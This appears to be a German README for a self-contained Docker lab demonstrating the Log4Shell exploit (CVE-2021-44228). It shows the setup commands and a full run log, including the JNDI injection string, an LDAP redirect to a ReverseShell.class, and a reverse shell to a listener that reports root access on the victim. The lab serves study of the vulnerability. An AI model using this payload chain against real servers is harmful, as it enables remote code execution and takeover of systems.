
In sich geschlossene Laborumgebung, die den Exploit sicher ausführt, alles von Docker Compose
Dies ist eine eigenständige Lab-Umgebung, die den Exploit sicher ausführt, alles mit Docker Compose.
Die betroffenen Versionen sind Apache Log4j <=2.0–2.14.1 und die CVE wird als CVE-2021-44228 (CVSS-Score: 10.0) verfolgt.
Dieser Code erfordert Docker und Docker Compose.
Die Dateien Dockerfile und docker-compose.yml sind selbsterklärend, um die Lab-Umgebung zu bauen und zu starten.
Opfer-Server log4shell-server wird mit dem Demo-Projekt von spring initializr erstellt, einschließlich der anfälligen Log4j 2.14.1 Version über .
Der anfällige Code befindet sich in DemoApplication.java.
Remote Code Execution wird vom rce-server bereitgestellt.
Der zwischengeschaltete LDAP-Server basiert auf Java Unmarshaller Security - Turning your data into code execution.
Der Angriffsvektor wird von diesem Skript ausgeführt, um eine Verbindung zum Reverse-Shell-Server herzustellen.
Der Reverse-Shell-Server wartet auf eine Verbindung und sendet ein Beispielbefehl echo $(whoami) über die Reverse-Shell, der auf dem Opfer-Server log4shell-server ausgeführt wird.
git clone https://github.com/j3kz/CVE-2021-44228-PoC.git
cd CVE-2021-44228-PoC
docker compose up
ldap-server | Listening on 0.0.0.0:1389
LDAP-Server bereit und wartet.
reverse-shell | listening on [::]:4242 ...
Reverse-Shell-Server bereit und wartet.
log4shell-server |
log4shell-server | . ____ _ __ _ _
log4shell-server | /\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
log4shell-server | ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
log4shell-server | \\/ ___)| |_)| | | | | || (_| | ) ) ) )
log4shell-server | ' |____| .__|_| |_|_| |_\__, | / / / /
log4shell-server | =========|_|==============|___/=/_/_/_/
log4shell-server | :: Spring Boot :: (v2.6.1)
log4shell-server |
log4shell-server | 2021-12-18 12:31:37.695 INFO 1 --- [ main] c.e.d.DemoApplication : Starting DemoApplication using Java 1.8.0_181 on 46edaaf2f7eb with PID 1 (/app/spring-boot-application.jar started by root in /)
log4shell-server | 2021-12-18 12:31:37.739 INFO 1 --- [ main] c.e.d.DemoApplication : No active profile set, falling back to default profiles: default
log4shell-server | 2021-12-18 12:31:42.337 INFO 1 --- [ main] o.s.b.w.e.t.TomcatWebServer : Tomcat initialized with port(s): 8080 (http)
log4shell-server | 2021-12-18 12:31:42.439 INFO 1 --- [ main] o.a.c.c.StandardService : Starting service [Tomcat]
log4shell-server | 2021-12-18 12:31:42.440 INFO 1 --- [ main] o.a.c.c.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.55]
log4shell-server | 2021-12-18 12:31:42.717 INFO 1 --- [ main] o.a.c.c.C.[.[.[/] : Initializing Spring embedded WebApplicationContext
log4shell-server | 2021-12-18 12:31:42.718 INFO 1 --- [ main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 4549 ms
log4shell-server | 2021-12-18 12:31:44.660 INFO 1 --- [ main] o.s.b.w.e.t.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path ''
Verwundbarer Server bereit und wartet.
attack-vector | 👌 log4shell-server:8080 is listening!
attack-vector | 🚀 Sending attack vector ...
Angriffsserver wartet auf Verbindung und sendet den Angriffsvektor.
log4shell-server | 2021-12-18 12:31:44.740 INFO 1 --- [ main] c.e.d.DemoApplication : Started DemoApplication in 8.402 seconds (JVM running for 11.113)
log4shell-server | 2021-12-18 12:31:45.110 INFO 1 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/] : Initializing Spring DispatcherServlet 'dispatcherServlet'
log4shell-server | 2021-12-18 12:31:45.110 INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet : Initializing Servlet 'dispatcherServlet'
log4shell-server | 2021-12-18 12:31:45.112 INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet : Completed initialization in 2 ms
ldap-server | Send LDAP reference result for attack-vector redirecting to http://rce-server:3000/ReverseShell.class
rce-server | 172.31.0.3 - - [18/Dec/2021:12:31:45 +0000] "GET /ReverseShell.class HTTP/1.1" 200 891 "" "Java/1.8.0_181"
Verwundbarer Server führt Anfrage aus, protokolliert sie, so dass der LDAP-Server RCE vom RCE-Server anfordert.
reverse-shell | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:43877 ([::ffff:172.31.0.3]:43877)
reverse-shell | 👻 Hello from the log4shell-server! We are root.
reverse-shell | listening on [::]:4242 ...
reverse-shell | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:41249 ([::ffff:172.31.0.3]:41249)
RCE wird ausgeführt und der Opfer-Server öffnet die Reverse-Shell, und der Reverse-Shell-Server kann entfernte Befehle ausführen.
log4shell-server | 2021-12-18 12:31:45.187 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello param:name: ReverseShell@22fb868
log4shell-server | 2021-12-18 12:31:45.345 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello header:host: log4shell-server:8080
log4shell-server | 2021-12-18 12:31:45.345 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello header:user-agent: curl/7.80.0
log4shell-server | 2021-12-18 12:31:45.345 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello header:accept: */*
Opfer-Server protokolliert die Angriffsvektor-Anfrage.
attack-vector | 🔥 Server returned:
attack-vector | > HTTP/1.1 200
attack-vector | > Content-Type: text/plain;charset=UTF-8
attack-vector | > Content-Length: 52
attack-vector | > Date: Sat, 18 Dec 2021 12:31:45 GMT
attack-vector | >
attack-vector | > Hello ${jndi:ldap://ldap-server:1389/attack-vector}!
attack-vector | Attack should be successfull, have a nice day!
Angriffsvektor-Anfrage protokolliert die Antwort und verlässt die Party.
Dieses Repository dient ausschließlich dem Lernen über die Sicherheitslücke.
Das Projekt ist nicht dafür vorgesehen und kann nicht als böswilliger Exploit von CVE-2021-44228 ohne Zustimmung des Eigentümers des Opfer-Servers verwendet werden.
Jegliche Nutzung für böswillige Aktivitäten ist verboten und wird durch strenge Gesetze bestraft.